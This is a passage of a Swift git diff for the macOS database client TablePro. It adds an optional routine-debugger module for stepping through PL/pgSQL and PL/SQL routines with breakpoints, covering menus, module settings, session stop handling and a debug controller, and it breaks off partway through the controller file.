@@ -0,0 +1,63 @@
+import AppKit
+
+// Built only while the Routine Debugger module is on. Items dim rather than hide when no debug tab is in front.
+@MainActor
+enum DebugMenuBuilder {
+    static let identifier = NSUserInterfaceItemIdentifier("menu.debug")
+
+    static var title: String {
+        String(localized: "Debug")
+    }
+
+    static func build(keyboard: KeyboardSettings) -> NSMenuItem {
+        let menu = MenuItemFactory.menu(title, items: [
+            MenuItemFactory.item(
+                String(localized: "Debug Routine…"),
+                action: #selector(MainSplitViewController.chooseRoutineToDebug(_:))
+            ),
+            MenuItemFactory.separator,
+            MenuItemFactory.item(
+                String(localized: "Continue"),
+                action: #selector(MainSplitViewController.debugContinue(_:)),
+                shortcut: .debugContinue,
+                keyboard: keyboard
+            ),
+            MenuItemFactory.item(
+                String(localized: "Step Over"),
+                action: #selector(MainSplitViewController.debugStepOver(_:)),
+                shortcut: .debugStepOver,
+                keyboard: keyboard
+            ),
+            MenuItemFactory.item(
+                String(localized: "Step Into"),
+                action: #selector(MainSplitViewController.debugStepInto(_:)),
+                shortcut: .debugStepInto,
+                keyboard: keyboard
+            ),
+            MenuItemFactory.item(
+                String(localized: "Step Out"),
+                action: #selector(MainSplitViewController.debugStepOut(_:)),
+                shortcut: .debugStepOut,
+                keyboard: keyboard
+            ),
+            // No default: Xcode's Command-Period is Cancel Query here.
+            MenuItemFactory.item(
+                String(localized: "Stop"),
+                action: #selector(MainSplitViewController.debugStop(_:))
+            ),
+            MenuItemFactory.separator,
+            MenuItemFactory.item(
+                String(localized: "Toggle Breakpoint"),
+                action: #selector(MainSplitViewController.toggleBreakpoint(_:)),
+                shortcut: .toggleBreakpoint,
+                keyboard: keyboard
+            ),
+            MenuItemFactory.item(
+                String(localized: "Remove All Breakpoints"),
+                action: #selector(MainSplitViewController.removeAllBreakpoints(_:))
+            )
+        ])
+        menu.identifier = identifier
+        return menu
+    }
+}
diff --git a/apple/TablePro/Core/Menu/MainMenuBuilder.swift b/apple/TablePro/Core/Menu/MainMenuBuilder.swift
index 9829c521ae..2fbc402a49 100644
--- a/apple/TablePro/Core/Menu/MainMenuBuilder.swift
+++ b/apple/TablePro/Core/Menu/MainMenuBuilder.swift
@@ -15,11 +15,14 @@ struct BuiltMainMenu {
     let helpMenu: NSMenu?
 }
 
-/// Builds the whole menu bar. Menu order follows the macOS HIG: the app menu, the
-/// standard File/Edit/View menus, app-specific menus, then Window and Help.
+// Menu order follows the macOS HIG: the app menu, File, Edit, View, the app's own menus, then Window and Help.
 @MainActor
 enum MainMenuBuilder {
     static func build(keyboard: KeyboardSettings) -> BuiltMainMenu {
+        build(keyboard: keyboard, modules: AppModuleSettings.shared.enabledModules)
+    }
+
+    static func build(keyboard: KeyboardSettings, modules: Set<AppModule>) -> BuiltMainMenu {
         let services = NSMenu(title: String(localized: "Services"))
         let window = WindowMenuBuilder.build(keyboard: keyboard)
         let help = HelpMenuBuilder.build()
@@ -31,6 +34,9 @@ enum MainMenuBuilder {
         bar.addItem(ViewMenuBuilder.build(keyboard: keyboard))
         bar.addItem(DatabaseMenuBuilder.build(keyboard: keyboard))
         bar.addItem(QueryMenuBuilder.build(keyboard: keyboard))
+        if modules.contains(.routineDebugger) {
+            bar.addItem(DebugMenuBuilder.build(keyboard: keyboard))
+        }
         bar.addItem(window)
         bar.addItem(help)
 
@@ -50,6 +56,25 @@ enum MainMenuBuilder {
         NSApp.mainMenu = built.bar
     }
 
+    // Adds or removes a module's menu in the installed bar; rebuilding the bar would orphan the Window menu's window list.
+    static func applyModules(
+        _ modules: Set<AppModule>,
+        keyboard: KeyboardSettings,
+        to bar: NSMenu,
+        windowsMenu: NSMenu?
+    ) {
+        let existing = bar.items.first { $0.identifier == DebugMenuBuilder.identifier }
+        switch (modules.contains(.routineDebugger), existing) {
+        case (true, nil):
+            let index = bar.items.firstIndex { $0.submenu != nil && $0.submenu === windowsMenu } ?? bar.items.count
+            bar.insertItem(DebugMenuBuilder.build(keyboard: keyboard), at: index)
+        case (false, let item?):
+            bar.removeItem(item)
+        default:
+            return
+        }
+    }
+
     /// The menu bar's key equivalents are one global resource, so exactly one function
     /// computes them, from the keyboard settings and the key window's text-focus state.
     /// A rebind, a settings sync, a focus transition and a key-window change all route
diff --git a/apple/TablePro/Core/Modules/AppModule.swift b/apple/TablePro/Core/Modules/AppModule.swift
new file mode 100644
index 0000000000..e65d22848f
--- /dev/null
+++ b/apple/TablePro/Core/Modules/AppModule.swift
@@ -0,0 +1,41 @@
+import Foundation
+
+enum AppModule: String, CaseIterable, Sendable {
+    case routineDebugger
+
+    var title: String {
+        switch self {
+        case .routineDebugger: String(localized: "Routine Debugger")
+        }
+    }
+
+    var summary: String {
+        switch self {
+        case .routineDebugger: String(localized: "Step through PL/pgSQL and PL/SQL routines with breakpoints.")
+        }
+    }
+
+    var defaultEnabled: Bool {
+        switch self {
+        case .routineDebugger: false
+        }
+    }
+
+    var defaultsKey: String {
+        "com.TablePro.modules.\(rawValue).enabled"
+    }
+
+    static func enabledModules(in defaults: UserDefaults) -> Set<AppModule> {
+        Set(allCases.filter { (defaults.object(forKey: $0.defaultsKey) as? Bool) ?? $0.defaultEnabled })
+    }
+
+    // For value types that cannot reach the main actor; reads the same keys `AppModuleSettings` writes.
+    static func storedEnabledModules() -> Set<AppModule> {
+        enabledModules(in: AppStorageEnvironment.shared.defaults)
+    }
+}
+
+extension Notification.Name {
+    // Posted after the new state is stored; `object` is the `AppModule` that changed.
+    static let appModulesDidChange = Notification.Name("AppModulesDidChange")
+}
diff --git a/apple/TablePro/Core/Modules/AppModuleActivation.swift b/apple/TablePro/Core/Modules/AppModuleActivation.swift
new file mode 100644
index 0000000000..14fc7db9e5
--- /dev/null
+++ b/apple/TablePro/Core/Modules/AppModuleActivation.swift
@@ -0,0 +1,36 @@
+import AppKit
+
+// The one writer of a module's state outside tests: the Extensions pane and Reset All Settings, both a click in TablePro.
+@MainActor
+enum AppModuleActivation {
+    static func setEnabled(_ enabled: Bool, for module: AppModule, settings: AppModuleSettings = .shared) {
+        guard settings.isEnabled(module) != enabled else { return }
+        settings.setEnabled(enabled, for: module)
+        if let bar = NSApp.mainMenu {
+            MainMenuBuilder.applyModules(
+                settings.enabledModules,
+                keyboard: AppSettingsManager.shared.keyboard,
+                to: bar,
+                windowsMenu: NSApp.windowsMenu
+            )
+            MainMenuBuilder.syncKeyEquivalents()
+        }
+        MainWindowToolbar.applyModuleChange()
+        if !enabled {
+            stopWork(of: module)
+        }
+    }
+
+    static func resetToDefaults(settings: AppModuleSettings = .shared) {
+        for module in AppModule.allCases {
+            setEnabled(module.defaultEnabled, for: module, settings: settings)
+        }
+    }
+
+    private static func stopWork(of module: AppModule) {
+        switch module {
+        case .routineDebugger:
+            Task { await RoutineDebugSessions.shared.stopAll() }
+        }
+    }
+}
diff --git a/apple/TablePro/Core/Modules/AppModuleSettings.swift b/apple/TablePro/Core/Modules/AppModuleSettings.swift
new file mode 100644
index 0000000000..36f5104d88
--- /dev/null
+++ b/apple/TablePro/Core/Modules/AppModuleSettings.swift
@@ -0,0 +1,37 @@
+import Combine
+import Foundation
+
+// Per Mac: the keys live in the local defaults suite and no sync payload carries them.
+@MainActor
+final class AppModuleSettings: ObservableObject {
+    static let shared = AppModuleSettings()
+
+    @Published private(set) var enabledModules: Set<AppModule>
+
+    private let defaults: UserDefaults
+    private let notificationCenter: NotificationCenter
+
+    init(
+        defaults: UserDefaults = AppStorageEnvironment.shared.defaults,
+        notificationCenter: NotificationCenter = .default
+    ) {
+        self.defaults = defaults
+        self.notificationCenter = notificationCenter
+        enabledModules = AppModule.enabledModules(in: defaults)
+    }
+
+    func isEnabled(_ module: AppModule) -> Bool {
+        enabledModules.contains(module)
+    }
+
+    func setEnabled(_ enabled: Bool, for module: AppModule) {
+        guard isEnabled(module) != enabled else { return }
+        defaults.set(enabled, forKey: module.defaultsKey)
+        if enabled {
+            enabledModules.insert(module)
+        } else {
+            enabledModules.remove(module)
+        }
+        notificationCenter.post(name: .appModulesDidChange, object: module)
+    }
+}
diff --git a/apple/TablePro/Core/Modules/AppModuleTermination.swift b/apple/TablePro/Core/Modules/AppModuleTermination.swift
new file mode 100644
index 0000000000..9974d64f5b
--- /dev/null
+++ b/apple/TablePro/Core/Modules/AppModuleTermination.swift
@@ -0,0 +1,44 @@
+import Foundation
+
+@MainActor
+enum AppModuleTermination {
+    static let stopLimit: Duration = .seconds(5)
+    // From the approved quit on, so nothing puts up an alert that would hold it.
+    private(set) static var hasBegun = false
+
+    // A stop waiting on a server that no longer answers must not hold the quit: `stopAll` returns by its deadline,
+    // the same one the runs close their connections at.
+    static func stopModuleWork() async {
+        hasBegun = true
+        guard RoutineDebugSessions.shared.hasActiveSessions else { return }
+        await RoutineDebugSessions.shared.stopAll(timeout: stopLimit)
+    }
+
+    // True when `work` returned before the limit. Work still running at the limit is left to the process exit.
+    static func runCapped(
+        at limit: Duration,
+        clock: any Clock<Duration> = ContinuousClock(),
+        _ work: @escaping @MainActor @Sendable () async -> Void
+    ) async -> Bool {
+        var deadline: Task<Void, Never>?
+        let outcomes = AsyncStream<Bool> { continuation in
+            Task { @MainActor in
+                await work()
+                continuation.yield(true)
+                continuation.finish()
+            }
+            deadline = Task {
+                try? await clock.sleep(for: limit)
+                continuation.yield(false)
+                continuation.finish()
+            }
+        }
+        var finished = false
+        for await outcome in outcomes {
+            finished = outcome
+            break
+        }
+        deadline?.cancel()
+        return finished
+    }
+}
diff --git a/apple/TablePro/Core/Plugins/PluginError.swift b/apple/TablePro/Core/Plugins/PluginError.swift
index d2f65f94aa..9e461e045e 100644
--- a/apple/TablePro/Core/Plugins/PluginError.swift
+++ b/apple/TablePro/Core/Plugins/PluginError.swift
@@ -79,9 +79,9 @@ enum PluginError: LocalizedError {
         case .unknownDatabaseType:
             return String(localized: "Edit the connection and choose its database type.")
         case .pluginLoadFailed:
-            return String(localized: "Update or reinstall the plugin in Settings > Plugins.")
+            return String(localized: "Update or reinstall the plugin in Settings > Extensions.")
         case .pluginInstallFailed:
-            return String(localized: "Try again, or install the plugin from Settings > Plugins.")
+            return String(localized: "Try again, or install the plugin from Settings > Extensions.")
         default:
             return nil
         }
diff --git a/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift b/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift
index 9eceec9b11..65b16f6b8f 100644
--- a/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift
+++ b/apple/TablePro/Core/Plugins/PluginManager+DriverAvailability.swift
@@ -25,7 +25,7 @@ extension PluginManager {
         let typeId = databaseType.pluginTypeId
         if let entry = installedEntry(servingTypeId: typeId), !entry.serves(databaseType.rawValue) {
             return .outdated(reason: String(
-                format: String(localized: "The installed %1$@ does not support %2$@. Update it in Settings > Plugins."),
+                format: String(localized: "The installed %1$@ does not support %2$@. Update it in Settings > Extensions."),
                 entry.name,
                 Self.registryDisplayName(of: databaseType)
             ))
diff --git a/apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift b/apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift
new file mode 100644
index 0000000000..606b8dc891
--- /dev/null
+++ b/apple/TablePro/Core/RoutineDebugging/MainContentCoordinator+RoutineDebugging.swift
@@ -0,0 +1,214 @@
+//
+//  MainContentCoordinator+RoutineDebugging.swift
+//  TablePro
+//
+
+import AppKit
+import Foundation
+import TableProPluginKit
+
+extension MainContentCoordinator {
+    // Answers without I/O, so a context menu or a menu validation can ask. Every read goes through another driver.
+    private var routineDebugger: (any PluginDatabaseDriver & PluginRoutineDebugging)? {
+        guard AppModuleSettings.shared.isEnabled(.routineDebugger),
+              connection.type.supportsConnectionPooling,
+              let adapter = services.databaseManager.driver(for: connectionId) as? PluginDriverAdapter,
+              let debugger = adapter.schemaPluginDriver as? any PluginDatabaseDriver & PluginRoutineDebugging,
+              debugger.canDebugRoutines
+        else { return nil }
+        return debugger
+    }
+
+    func routineDebugTarget(for routine: RoutineInfo) -> PluginDebugTarget? {
+        routineDebugger?.debugTarget(for: routine.pluginRoutine)
+    }
+
+    func canChooseRoutineToDebug() -> Bool {
+        routineDebugger != nil && services.databaseManager.session(for: connectionId)?.isConnected == true
+    }
+
+    func debugRoutine(_ routine: RoutineInfo) {
+        debugRoutine(routine, database: nil, schema: nil)
+    }
+
+    // A sidebar row names its own database and schema, which the run keeps whatever the browse cursor does meanwhile.
+    func debugRoutine(_ routine: RoutineInfo, database: String?, schema: String?) {
+        guard let target = routineDebugTarget(for: routine),
+              let pick = routineDebugPick(for: target, routine: routine, database: database, schema: schema)
+        else { return }
+        launchDebugging { flow, setup in
+            await flow.run(pick, setup: setup)
+        }
+    }
+
+    // Read once, at the click; a database the row does not name is the one being browsed.
+    func routineDebugPick(
+        for target: PluginDebugTarget,
+        routine: RoutineInfo,
+        database: String?,
+        schema: String?
+    ) -> RoutineDebugPick? {
+        guard let scope = services.databaseManager.resolvedScope(
+            database: database,
+            schema: schema ?? target.schema ?? routine.schema,
+            for: connectionId
+        ) else { return nil }
+        return RoutineDebugPick(target: target, scope: scope)
+    }
+
+    // The chooser lists one database and schema; whatever is chosen from it keeps that database.
+    func chooseRoutineToDebug() {
+        guard canChooseRoutineToDebug(), let listed = browseScope else { return }
+        let databaseManager = services.databaseManager
+        launchDebugging { [weak self] flow, setup in
+            await flow.choose(setup: setup) { chooserSetup in
+                guard let window = self?.contentWindow else { return nil }
+                let target = await RoutineDebugChooserSheet.present(on: window, setup: chooserSetup) {
+                    guard AppModuleSettings.shared.isEnabled(.routineDebugger) else { throw CancellationError() }
+                    return try await databaseManager.withMetadataDriver(scope: listed) { driver in
+                        try await Self.metadataDebugger(driver).debugTargets(schema: listed.schema)
+                    }
+                }
+                return target.map { RoutineDebugPick($0, listedIn: listed) }
+            }
+        }
+    }
+
+    var frontRoutineDebugController: RoutineDebugController? {
+        guard let tab = tabManager.selectedTab, tab.tabType == .routineDebug else { return nil }
+        return RoutineDebugSessions.shared.controller(forTab: tab.id)
+    }
+
+    // Not a user close: nothing goes to Reopen Closed Tab and the saved tab set is left alone.
+    func closeRoutineDebugTabs() {
+        let ids = tabManager.tabs.filter { $0.tabType == .routineDebug }.map(\.id)
+        for id in ids {
+            closeRoutineDebugTab(id)
+        }
+    }
+
+    // MARK: - Starting a run
+
+    // The setup is tracked until the flow ends, so turning the module off dismisses whatever it has on screen.
+    private func launchDebugging(
+        _ body: @escaping @MainActor (RoutineDebugStartFlow, RoutineDebugSetup) async -> Void
+    ) {
+        // Read before anything waits: a disconnect or reconnect while a sheet is up makes this start stale.
+        let generation = RoutineDebugSessions.shared.admissionGeneration(for: connectionId)
+        let setup = RoutineDebugSetup()
+        let flow = startFlow(generation: generation)
+        RoutineDebugSessions.shared.beginSetup(setup)
+        Task {
+            await body(flow, setup)
+            RoutineDebugSessions.shared.endSetup(setup)
+        }
+    }
+
+    private func startFlow(generation: Int) -> RoutineDebugStartFlow {
+        let databaseManager = services.databaseManager
+        let options = RoutineDebugOptionStore()
+        let connectionId = connectionId
+        return RoutineDebugStartFlow(
+            isModuleEnabled: { AppModuleSettings.shared.isEnabled(.routineDebugger) },
+            prepare: { pick in
+                let target = pick.target
+                return try await databaseManager.withMetadataDriver(scope: pick.scope) { driver in
+                    try await Self.metadataDebugger(driver).prepareDebug(target)
+                }
+            },
+            presentStartSheet: { [weak self] plan, setup in
+                guard let window = self?.contentWindow else { return nil }
+                let choice = await RoutineDebugStartSheet.present(
+                    plan: plan,
+                    rememberedOption: { fieldId in options.value(for: fieldId, connectionId: connectionId) },
+                    on: window,
+                    setup: setup
+                )
+                if let choice {
+                    options.save(RoutineDebugStartSheet.rememberedValues(of: choice, in: plan), connectionId: connectionId)
+                }
+                return choice
+            },
+            reportFailure: { [weak self] target, error in
+                guard !(error is CancellationError) else { return }
+                AlertHelper.showErrorSheet(
+                    title: String(format: String(localized: "Can't Debug %@"), target.name),
+                    message: RoutineDebugController.message(for: error),
+                    window: self?.contentWindow
+                )
+            },
+            open: { [weak self] plan, choice, scope in
+                self?.openRoutineDebugTab(plan: plan, choice: choice, scope: scope, generation: generation)
+            }
+        )
+    }
+
+    private func openRoutineDebugTab(
+        plan: PluginDebugPlan,
+        choice: RoutineDebugStartChoice,
+        scope: DatabaseScope,
+        generation: Int
+    ) {
+        // Read again: the connection may have reconnected, or the module gone off, while the sheet was up.
+        guard let debugger = routineDebugger else { return }
+        guard RoutineDebugSessions.shared.admits(connectionId, generation: generation) else {
+            AlertHelper.showErrorSheet(
+                title: String(format: String(localized: "Can't Debug %@"), plan.target.name),
+                message: RoutineDebugError.connectionChanged.localizedDescription,
+                window: contentWindow
+            )
+            return
+        }
+        let tabId = UUID()
+        let preparationSetup = RoutineDebugSetup()
+        let controller = RoutineDebugController(
+            plan: plan,
+            choice: choice,
+            connectionId: connectionId,
+            databaseType: connection.type,
+            debugger: debugger,
+            sessionSource: RoutineDebugSessionSource.live(scope: scope, generation: generation),
+            gate: executionGate,
+            confirmPreparation: { [weak self] preparation in
+                await RoutineDebugPreparationPrompt.confirm(
+                    preparation,
+                    window: self?.contentWindow,
+                    setup: preparationSetup
+                )
+            },
+            withdrawPreparation: { preparationSetup.cancel() }
+        )
+        controller.onCancelled = { [weak self] in
+            self?.closeRoutineDebugTab(tabId)
+        }
+        guard RoutineDebugSessions.shared.register(
+            controller,
+            tabId: tabId,
+            connectionId: connectionId,
+            generation: generation
+        ) else { return }
+        tabManager.addRoutineDebugTab(
+            id: tabId,
+            title: QueryTabManager.routineDebugTitle(for: plan.target.name),
+            databaseName: scope.database,
+            schemaName: scope.schema
+        )
+        controller.start()
+    }
+
+    private func closeRoutineDebugTab(_ tabId: UUID) {
+        RoutineDebugSessions.shared.endSession(forTab: tabId, window: contentWindow)
+        guard tabManager.tabs.contains(where: { $0.id == tabId }) else { return }
+        tabManager.closeTab(id: tabId)
+    }
+
+    // The pooled metadata driver for this read, which is the plugin's own driver behind the adapter.
+    nonisolated private static func metadataDebugger(
+        _ driver: DatabaseDriver
+    ) throws -> any PluginDatabaseDriver & PluginRoutineDebugging {
+        guard let adapter = driver as? PluginDriverAdapter,
+              let debugger = adapter.schemaPluginDriver as? any PluginDatabaseDriver & PluginRoutineDebugging
+        else { throw RoutineDebugError.unsupported }
+        return debugger
+    }
+}
diff --git a/apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift b/apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift
new file mode 100644
index 0000000000..9393c0b321
--- /dev/null
+++ b/apple/TablePro/Core/RoutineDebugging/RoutineDebugController.swift
@@ -0,0 +1,777 @@
+//
+//  RoutineDebugController.swift
+//  TablePro
+//
+
+import AppKit
+import Combine
+import Foundation
+import os
+import TableProPluginKit
+
+extension PluginDebugCommand {
+    static let hostCommands: [PluginDebugCommand] = [.continueExecution, .stepOver, .stepInto, .stepOut]
+}
+
+internal struct RoutineDebugStartChoice: Sendable {
+    let entryPoint: PluginDebugEntryPoint
+    let arguments: [PluginDebugArgument]
+    let optionValues: [String: String]
+}
+
+// One debug run. Session calls never overlap except `stop()`: every other call waits its turn in `lastOperation`.
+// ObservableObject rather than @Observable, which needs macOS 14.
+@MainActor
+internal final class RoutineDebugController: ObservableObject {
+    enum State {
+        case preparing
+        case starting
+        case running
+        case paused(PluginDebugLocation)
+        case finished(PluginQueryResult?)
+        case failed(String)
+        // The plugin's own words when a waiting step answered the stop, which can say the routine still runs on the server.
+        case stopped(String?)
+
+        var isTerminal: Bool {
+            switch self {
+            case .finished, .failed, .stopped: true
+            case .preparing, .starting, .running, .paused: false
+            }
+        }
+
+        var pausedLocation: PluginDebugLocation? {
+            if case .paused(let location) = self { return location }
+            return nil
+        }
+
+        var endedByItself: Bool {
+            switch self {
+            case .finished, .failed: true
+            case .preparing, .starting, .running, .paused, .stopped: false
+            }
+        }
+    }
+
+    private static let logger = Logger(subsystem: "com.TablePro", category: "RoutineDebugController")
+    private static let outputLineLimit = 5_000
+    // Output a plugin relays as the routine completes (Oracle's DBMS_OUTPUT) comes through its own task, shortly after.
+    private static let outputDrainLimit: Duration = .seconds(1)
+    static let stopNotConfirmed = String(
+        localized: "The debugger didn't confirm the stop. The routine may still be running on the server."
+    )
+
+    let plan: PluginDebugPlan
+    let choice: RoutineDebugStartChoice
+    let connectionId: UUID
+    let databaseType: DatabaseType
+
+    @Published private(set) var state: State = .preparing
+    @Published private(set) var isStopping = false
+    @Published private(set) var supportedCommands: Set<PluginDebugCommand> = []
+    @Published private(set) var frames: [PluginDebugFrame] = []
+    @Published private(set) var selectedFrameLevel: Int?
+    // The frame whose source and variables are on screen; they always change together.
+    @Published private(set) var displayedFrameLevel: Int?
+    // False while a pause's stack is still loading: the list then shows the previous stack, which cannot be chosen from.
+    @Published private(set) var stackIsCurrent = false
+    @Published private(set) var variables: [PluginDebugVariable] = []
+    @Published private(set) var outputLines: [String] = []
+    @Published private(set) var displayedUnit: PluginDebugUnit?
+    @Published private(set) var sources: [String: String] = [:]
+    // What the ribbon shows: placed breakpoints plus edits waiting for the next pause.
+    @Published private(set) var breakpoints: [String: Set<Int>] = [:]
+    @Published private(set) var inspectionError: String?
+    @Published private(set) var resultGrid: HeldRowsGridAdapter?
+
+    var cursorLine: Int?
+    // Set by the coordinator: the user declined to start, so the tab has nothing to show.
+    var onCancelled: (@MainActor () -> Void)?
+
+    private let debugger: any PluginRoutineDebugging
+    private let sessionSource: RoutineDebugSessionSource
+    private let gate: any ExecutionGate
+    private let confirmPreparation: @MainActor (PluginDebugPreparation) async -> Bool
+    private let withdrawPreparation: @MainActor () -> Void
+    private let cancelLimit: Duration
+    private var session: (any PluginDebugSession)?
+    private var startTask: Task<any PluginDebugSession, Error>?
+    private var preparationTask: Task<Void, Error>?
+    private var authorizationTask: Task<OperationDecision, Never>?
+    private var placedBreakpoints: [String: Set<Int>] = [:]
+    private var lastOperation: Task<Void, Never>?
+    private var stopTask: Task<Void, Never>?
+    private var stopDeadline: RoutineDebugStopDeadline?
+    // The one `stop()` call a session gets, shared by everything that ends its target.
+    private var targetStop: Task<PluginDebugStopOutcome, Never>?
+    // The plugin could not confirm its target ended, or did not answer by the deadline: the status says so.
+    private(set) var unconfirmedStop: String?
+    private var outputTask: Task<Void, Never>?
+    private var pauseGeneration = 0
+    private var stopMessage: String?
+    // `isEnding` from the moment the run starts to end; `hasEnded` once its drivers are closed and its state final.
+    private var isEnding = false
+    private(set) var hasEnded = false
+    private var endWaiters: [CheckedContinuation<Void, Never>] = []
+
+    init(
+        plan: PluginDebugPlan,
+        choice: RoutineDebugStartChoice,
+        connectionId: UUID,
+        databaseType: DatabaseType,
+        debugger: any PluginRoutineDebugging,
+        sessionSource: RoutineDebugSessionSource,
+        gate: any ExecutionGate = ExecutionGateProvider.shared,
+        cancelLimit: Duration = RoutineDebugSessions.defaultStopTimeout,
+        confirmPreparation: @escaping @MainActor (PluginDebugPreparation) async -> Bool,
+        withdrawPreparation: @escaping @MainActor () -> Void = {}
+    ) {
+        self.plan = plan
+        self.choice = choice
+        self.connectionId = connectionId
+        self.databaseType = databaseType
+        self.debugger = debugger
+        self.sessionSource = sessionSource
+        self.gate = gate
+        self.confirmPreparation = confirmPreparation
+        self.withdrawPreparation = withdrawPreparation
+        self.cancelLimit = cancelLimit
+    }
+
+    // MARK: - Commands
+
+    func canPerform(_ command: PluginDebugCommand) -> Bool {
+        guard !isStopping, state.pausedLocation != nil else { return false }
+        return supportedCommands.contains(command)
+    }
+
+    func perform(_ command: PluginDebugCommand) {
+        guard canPerform(command), let session else { return }
+        setState(.running)
+        enqueue { [weak self] in
+            guard let self, !self.isStopping else { return }
+            // An edit made while the pause was still loading had its own sync skipped once this left the pause.
+            await self.syncBreakpoints(session)
+            guard !self.isStopping else { return }
+            await self.runStep { try await session.perform(command) }
+        }
+    }
+
+    var canStop: Bool {
+        !isEnding && !isStopping
+    }
+
+    // Every way a run is stopped comes here: Stop, its tab or window closing, a disconnect or reconnect, the module
+    // turned off, quit. A caller that waits on the stop passes its deadline so both end at the same instant.
+    func stop(by deadline: RoutineDebugStopDeadline? = nil) {
+        guard canStop else { return }
+        isStopping = true
+        let deadline = startStopDeadline(deadline)
+        notifyStateChange()
+        if case .preparing = state {
+            withdrawPreparation()
+        }
+        if let session {
+            stopTask = Task {
+                await self.endTarget(session)
+                await self.end(.stopped(nil))
+            }
+        } else if let startTask {
+            cancelStart(startTask, by: deadline)
+        } else if let preparationTask {
+            cancelPreparation(preparationTask, by: deadline)
+        } else if let authorizationTask {
+            cancelAuthorization(authorizationTask, by: deadline)
+        } else if lastOperation == nil {
+            Task { await self.end(.stopped(nil)) }
+        }
+        // Otherwise the preparation question is up or the run is between two steps, and it ends itself as stopped at
+        // its next check.
+    }
+
+    private func startStopDeadline(_ requested: RoutineDebugStopDeadline? = nil) -> RoutineDebugStopDeadline {
+        if let stopDeadline {
+            return stopDeadline
+        }
+        let deadline = requested ?? RoutineDebugStopDeadline(after: cancelLimit)
+        stopDeadline = deadline
+        return deadline
+    }
+
+    // The only place a session hears `stop()`: at once, even over a read, an edit or a step still running, which the
+    // plugin then ends itself. Returns when the plugin answers or at the deadline, whichever comes first.
+    private func endTarget(_ session: any PluginDebugSession) async {
+        let deadline = startStopDeadline()
+        let stopping: Task<PluginDebugStopOutcome, Never>
+        if let targetStop {
+            stopping = targetStop
+        } else {
+            let source = sessionSource
+            stopping = Task {
+                // A plugin may need one more session to end its target, which the connection's admission fence must not refuse.
+                await source.permitCleanup()
+                return await session.stop()
+            }
+            targetStop = stopping
+        }
+        let answered = await deadline.wait { _ = await stopping.value }
+        guard answered else {
+            Self.logger.warning("Debug target did not answer its stop by the deadline; closing its connections")
+            unconfirmedStop = Self.stopNotConfirmed
+            return
+        }
+        if case .unconfirmed(let message, let detail) = await stopping.value {
+            unconfirmedStop = Self.join(message, detail)
+        }
+    }
+
+    // The target may already be running its call before `startDebug` returns. Cancelling makes the plugin end it, and a
+    // session it returns anyway is stopped within the same deadline; one that never answers loses its drivers then.
+    private func cancelStart(_ start: Task<any PluginDebugSession, Error>, by deadline: RoutineDebugStopDeadline) {
+        let source = sessionSource
+        stopTask = Task {
+            await source.permitCleanup()
+            start.cancel()
+            let answered = await deadline.wait { _ = await start.result }
+            guard !answered else { return }
+            Self.logger.warning("Debug start ignored its cancellation; closing its drivers")
+            self.unconfirmedStop = Self.stopNotConfirmed
+            await self.end(.stopped(nil))
+        }
+    }
+
+    // The gate withdraws its prompt when cancelled and answers as a Cancel would; one that cannot is not waited on past
+    // the deadline, since nothing is open yet that the run would have to close.
+    private func cancelAuthorization(_ work: Task<OperationDecision, Never>, by deadline: RoutineDebugStopDeadline) {
+        stopTask = Task {
+            work.cancel()
+            let answered = await deadline.wait { _ = await work.value }
+            guard !answered else { return }
+            await self.end(.stopped(nil))
+        }
+    }
+
+    // A statement already sent cannot be called back: the run waits for it until the deadline, then closes its
+    // connection, which abandons it. Either way the run ends stopped and never goes on to start the session.
+    private func cancelPreparation(_ work: Task<Void, Error>, by deadline: RoutineDebugStopDeadline) {
+        stopTask = Task {
+            work.cancel()
+            let answered = await deadline.wait { _ = await work.result }
+            guard !answered else { return }
+            Self.logger.warning("Debug preparation still running at the deadline; closing its connection")
+            await self.end(.stopped(nil))
+        }
+    }
+
+    func waitUntilEnded() async {
+        guard !hasEnded else { return }
+        await withCheckedContinuation { endWaiters.append($0) }
+    }
+
+    // MARK: - Breakpoints
+
+    var hasBreakpoints: Bool {
+        breakpoints.values.contains { !$0.isEmpty }
+    }
+
+    // Toggle Breakpoint acts on the caret's line of the source on screen, and nothing once the run is ending.
+    var canToggleBreakpoint: Bool {
+        !isEnding && displayedUnit != nil && cursorLine != nil
+    }
+
+    var canRemoveAllBreakpoints: Bool {
+        !isEnding && hasBreakpoints
+    }
+
+    var displayedBreakpointLines: Set<Int> {
+        guard let unit = displayedUnit else { return [] }
+        return breakpoints[unit.identity] ?? []
+    }
+
+    func toggleBreakpointAtCursor() {
+        guard canToggleBreakpoint, let cursorLine else { return }
+        toggleBreakpoint(atLine: cursorLine)
+    }
+
+    func toggleBreakpoint(atLine line: Int) {
+        guard let unit = displayedUnit, line > 0, !isEnding else { return }
+        if breakpoints[unit.identity]?.contains(line) == true {
+            breakpoints[unit.identity]?.remove(line)
+        } else {
+            breakpoints[unit.identity, default: []].insert(line)
+        }
+        scheduleBreakpointSync()
+    }
+
+    func removeAllBreakpoints() {
+        guard canRemoveAllBreakpoints else { return }
+        breakpoints = [:]
+        scheduleBreakpointSync()
+    }
+
+    // While running the engine may not take a breakpoint, so edits wait for the next pause.
+    private func scheduleBreakpointSync() {
+        guard let session, state.pausedLocation != nil, !isStopping else { return }
+        enqueue { [weak self] in
+            guard let self, self.state.pausedLocation != nil, !self.isStopping else { return }
+            await self.syncBreakpoints(session)
+        }
+    }
+
+    private func syncBreakpoints(_ session: any PluginDebugSession) async {
+        let units = Set(breakpoints.keys).union(placedBreakpoints.keys)
+        for unit in units.sorted() {
+            let wanted = breakpoints[unit] ?? []
+            let placed = placedBreakpoints[unit] ?? []
+            for line in placed.subtracting(wanted).sorted() {
+                guard !isStopping else { return }
+                do {
+                    try await session.removeBreakpoint(PluginDebugBreakpoint(unitIdentity: unit, line: line))
+                    placedBreakpoints[unit]?.remove(line)
+                } catch {
+                    // A stop ends the call on purpose; that is no failure to show.
+                    guard !isStopping else { return }
+                    breakpoints[unit, default: []].insert(line)
+                    inspectionError = Self.message(for: error)
+                }
+            }
+            for line in wanted.subtracting(placed).sorted() {
+                guard !isStopping else { return }
+                let requested = PluginDebugBreakpoint(unitIdentity: unit, line: line)
+                do {
+                    let result = try await session.setBreakpoint(requested)
+                    if let result {
